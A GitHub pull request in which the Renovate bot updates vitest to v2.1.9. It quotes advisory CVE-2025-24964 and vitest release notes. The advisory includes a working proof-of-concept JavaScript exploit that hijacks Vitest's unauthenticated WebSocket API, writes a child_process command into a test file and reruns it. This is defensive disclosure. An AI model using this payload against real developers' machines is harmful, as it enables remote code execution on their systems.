Skip to content

Update dependency vitest to v2.1.9 [SECURITY]#598

Open
renovate[bot] wants to merge 1 commit intomainfrom
renovate/npm-vitest-vulnerability
Open

Update dependency vitest to v2.1.9 [SECURITY]#598
renovate[bot] wants to merge 1 commit intomainfrom
renovate/npm-vitest-vulnerability

Conversation

@renovate
Copy link
Copy Markdown
Contributor

@renovate renovate Bot commented Feb 4, 2025 •
edited
Loading

ℹ️ Note

This PR body was truncated due to platform limits.

This PR contains the following updates:

Package Change Age Confidence
vitest (source) 1.6.0 → 2.1.9 age confidence
vitest (source) 2.1.2 → 2.1.9 age confidence

Vitest allows Remote Code Execution when accessing a malicious website while Vitest API server is listening

CVE-2025-24964 / GHSA-9crc-q9x8-hgqq

More information

Details

Summary

Arbitrary remote Code Execution when accessing a malicious website while Vitest API server is listening by Cross-site WebSocket hijacking (CSWSH) attacks.

Details

When api option is enabled (Vitest UI enables it), Vitest starts a WebSocket server. This WebSocket server did not check Origin header and did not have any authorization mechanism and was vulnerable to CSWSH attacks.
https://github.com/vitest-dev/vitest/blob/9a581e1c43e5c02b11e2a8026a55ce6a8cb35114/packages/vitest/src/api/setup.ts#L32-L46

This WebSocket server has saveTestFile API that can edit a test file and rerun API that can rerun the tests. An attacker can execute arbitrary code by injecting a code in a test file by the saveTestFile API and then running that file by calling the rerun API.
https://github.com/vitest-dev/vitest/blob/9a581e1c43e5c02b11e2a8026a55ce6a8cb35114/packages/vitest/src/api/setup.ts#L66-L76

PoC
  1. Open Vitest UI.
  2. Access a malicious web site with the script below.
  3. If you have calc executable in PATH env var (you'll likely have it if you are running on Windows), that application will be executed.
// code from https://github.com/WebReflection/flatted
const Flatted=function(n){"use strict";function t(n){return t="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(n){return typeof n}:function(n){return n&&"function"==typeof Symbol&&n.constructor===Symbol&&n!==Symbol.prototype?"symbol":typeof n},t(n)}var r=JSON.parse,e=JSON.stringify,o=Object.keys,u=String,f="string",i={},c="object",a=function(n,t){return t},l=function(n){return n instanceof u?u(n):n},s=function(n,r){return t(r)===f?new u(r):r},y=function n(r,e,f,a){for(var l=[],s=o(f),y=s.length,p=0;p<y;p++){var v=s[p],S=f[v];if(S instanceof u){var b=r[S];t(b)!==c||e.has(b)?f[v]=a.call(f,v,b):(e.add(b),f[v]=i,l.push({k:v,a:[r,e,b,a]}))}else f[v]!==i&&(f[v]=a.call(f,v,S))}for(var m=l.length,g=0;g<m;g++){var h=l[g],O=h.k,d=h.a;f[O]=a.call(f,O,n.apply(null,d))}return f},p=function(n,t,r){var e=u(t.push(r)-1);return n.set(r,e),e},v=function(n,e){var o=r(n,s).map(l),u=o[0],f=e||a,i=t(u)===c&&u?y(o,new Set,u,f):u;return f.call({"":i},"",i)},S=function(n,r,o){for(var u=r&&t(r)===c?function(n,t){return""===n||-1<r.indexOf(n)?t:void 0}:r||a,i=new Map,l=[],s=[],y=+p(i,l,u.call({"":n},"",n)),v=!y;y<l.length;)v=!0,s[y]=e(l[y++],S,o);return"["+s.join(",")+"]";function S(n,r){if(v)return v=!v,r;var e=u.call(this,n,r);switch(t(e)){case c:if(null===e)return e;case f:return i.get(e)||p(i,l,e)}return e}};return n.fromJSON=function(n){return v(e(n))},n.parse=v,n.stringify=S,n.toJSON=function(n){return r(S(n))},n}({});

// actual code to run
const ws = new WebSocket('ws://localhost:51204/__vitest_api__')
ws.addEventListener('message', e => {
    console.log(e.data)
})
ws.addEventListener('open', () => {
    ws.send(Flatted.stringify({ t: 'q', i: crypto.randomUUID(), m: "getFiles", a: [] }))

    const testFilePath = "/path/to/test-file/basic.test.ts" // use a test file returned from the response of "getFiles"

    // edit file content to inject command execution
    ws.send(Flatted.stringify({
      t: 'q',
      i: crypto.randomUUID(),
      m: "saveTestFile",
      a: [testFilePath, "import child_process from 'child_process';child_process.execSync('calc')"]
    }))
    // rerun the tests to run the injected command execution code
    ws.send(Flatted.stringify({
      t: 'q',
      i: crypto.randomUUID(),
      m: "rerun",
      a: [testFilePath]
    }))
})
Impact

This vulnerability can result in remote code execution for users that are using Vitest serve API.

Severity

  • CVSS Score: 9.7 / 10 (Critical)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Release Notes

vitest-dev/vitest (vitest)

v2.1.9

Compare Source

This release includes security patches for:

   🐞 Bug Fixes
    View changes on GitHub

v2.1.8

Compare Source

   🐞 Bug Fixes
    View changes on GitHub

v2.1.7

Compare Source

   🐞 Bug Fixes
  • Revert support for Vite 6  -  by @​sheremet-va (fbe5c)
    • This introduced some breaking changes (#​6992). We will enable support for it later. In the meantime, you can still use pnpm.overrides or yarn resolutions to override the vite version in the vitest package - the APIs are compatible.
    View changes on GitHub

v2.1.6

Compare Source

🚀 Features

  • Support Vite 6
    View changes on GitHub

v2.1.5

Compare Source

   🐞 Bug Fixes
   🏎 Performance
    View changes on GitHub

v2.1.4

Compare Source

   🚀 Features

This patch release includes a non-breaking feature for the experimental Browser Mode that doesn't follow SemVer. If you want to avoid picking up releases like this, make sure to pin the Vitest version in your package.json. See npm's documentation about semver for more information.

   🐞 Bug Fixes
   🏎 Performance
    View changes on GitHub

v2.1.3

Compare Source

   🐞 Bug Fixes
   🏎 Performance
    View changes on GitHub

v2.1.2

Compare Source

   🐞 Bug Fixes
    View changes on GitHub

v2.1.1

Compare Source

   🐞 Bug Fixes
    View changes on GitHub

v2.1.0

Compare Source

This release makes another big change to the Browser Mode by introducing locators API:

test('renders blog posts', async () => {
  const screen = page.render(<Blog />)

  await expect.element(screen.getByRole('heading', { name: 'Blog' })).toBeInTheDocument()

  const [firstPost] = screen.getByRole('listitem').all()

  await firstPost.getByRole('button', { name: 'Delete' }).click()

  expect(screen.getByRole('listitem').all()).toHaveLength(3)
})

You can use either vitest-browser-vue, vitest-browser-svelte or vitest-browser-react to render components and make assertions using locators. Locators are also available on the page object from @vitest/browser/context.

Potential Breaking Change
  • workspace:
    • Correctly resolve workspace globs and file paths  -  by @​sheremet-va in #​6316 (afdcb)
    • This changes how the custom glob pattern in the workspace config is treated. Any file matching the glob is considered a Vitest config file. Any folder matching the glob pattern is treated as a workspace project and is subject to the regular config resolution (single vitest.config.ts or vite.config.ts inside the folder)
    • For example, projects/* will match anything inside the projects folder. If it's a folder, we try to find the config inside that folder (if there is none, it is still treated as a project with the default config). If it's a file, it will be treated as a Vitest config. projects/**/* previously would assume that you only wanted to have folders as projects, but now it will match every single file insideprojects.
    • This change doesn't affect non-glob usage.
   🚀 Features
   🐞 Bug Fixes
    View changes on GitHub

v2.0.5

Compare Source

   🚀 Features
  • Introduce experimental reported tasks  -  by @​sheremet-va in #​6149 (13d85)
    • This is part of the experimental API and doesn't follow semver. We are hoping to stabilize it for 2.1. If you are working with custom reporters, give this a go!
   🐞 Bug Fixes
    View changes on GitHub

v2.0.4

Compare Source

   🐞 Bug Fixes

Configuration

📅 Schedule: (UTC)

  • Branch creation
    • ""
  • Automerge
    • At any time (no schedule defined)

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

♻ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about these updates again.

  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@vercel
Copy link
Copy Markdown
Contributor

vercel Bot commented Feb 4, 2025 •
edited
Loading

The latest updates on your projects. Learn more about Vercel for GitHub.

Project Deployment Actions Updated (UTC)
examples.nameguard.io Ready Ready Preview, Comment Apr 15, 2026 9:33am
nameai.dev Ready Ready Preview, Comment Apr 15, 2026 9:33am
nameai.io Ready Ready Preview, Comment Apr 15, 2026 9:33am
namegraph.dev Ready Ready Preview, Comment Apr 15, 2026 9:33am
nameguard.io Ready Ready Preview, Comment Apr 15, 2026 9:33am
namehashlabs.org Ready Ready Preview, Comment Apr 15, 2026 9:33am
namekit.io Ready Ready Preview, Comment Apr 15, 2026 9:33am
storybook.namekit.io Ready Ready Preview, Comment Apr 15, 2026 9:33am

@changeset-bot
Copy link
Copy Markdown

changeset-bot Bot commented Feb 4, 2025 •
edited
Loading

⚠️ No Changeset found

Latest commit: ce9ccb1

Merging this PR will not cause a version bump for any packages. If these changes should not result in a new version, you're good to go. If these changes should result in a version bump, you need to add a changeset.

This PR includes no changesets

When changesets are added to this PR, you'll see the packages that this PR includes changesets for and the associated semver types

Click here to learn what changesets are, and how to add one.

Click here if you're a maintainer who wants to add a changeset to this PR

@renovate renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from 9457718 to 9b30c24 Compare February 6, 2025 01:50
@renovate renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from 9b30c24 to 318682d Compare February 25, 2025 19:32
@renovate renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from 3eae397 to 74c2601 Compare September 25, 2025 19:01
@renovate renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from 74c2601 to 17fd7f2 Compare October 21, 2025 17:13
@renovate renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from 17fd7f2 to 8eb4acd Compare November 10, 2025 19:47
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Reviewers

@djstrong djstrong Awaiting requested review from djstrong djstrong is a code owner

@Carbon225 Carbon225 Awaiting requested review from Carbon225

@notrab notrab Awaiting requested review from notrab notrab is a code owner

@lightwalker-eth lightwalker-eth Awaiting requested review from lightwalker-eth lightwalker-eth is a code owner

@FrancoAguzzi FrancoAguzzi Awaiting requested review from FrancoAguzzi

@BanaSeba BanaSeba Awaiting requested review from BanaSeba

@edulennert edulennert Awaiting requested review from edulennert

At least 1 approving review is required to merge this pull request.

Assignees

No one assigned

Labels

None yet

Projects

None yet

Milestone

No milestone

Development

Successfully merging this pull request may close these issues.

0 participants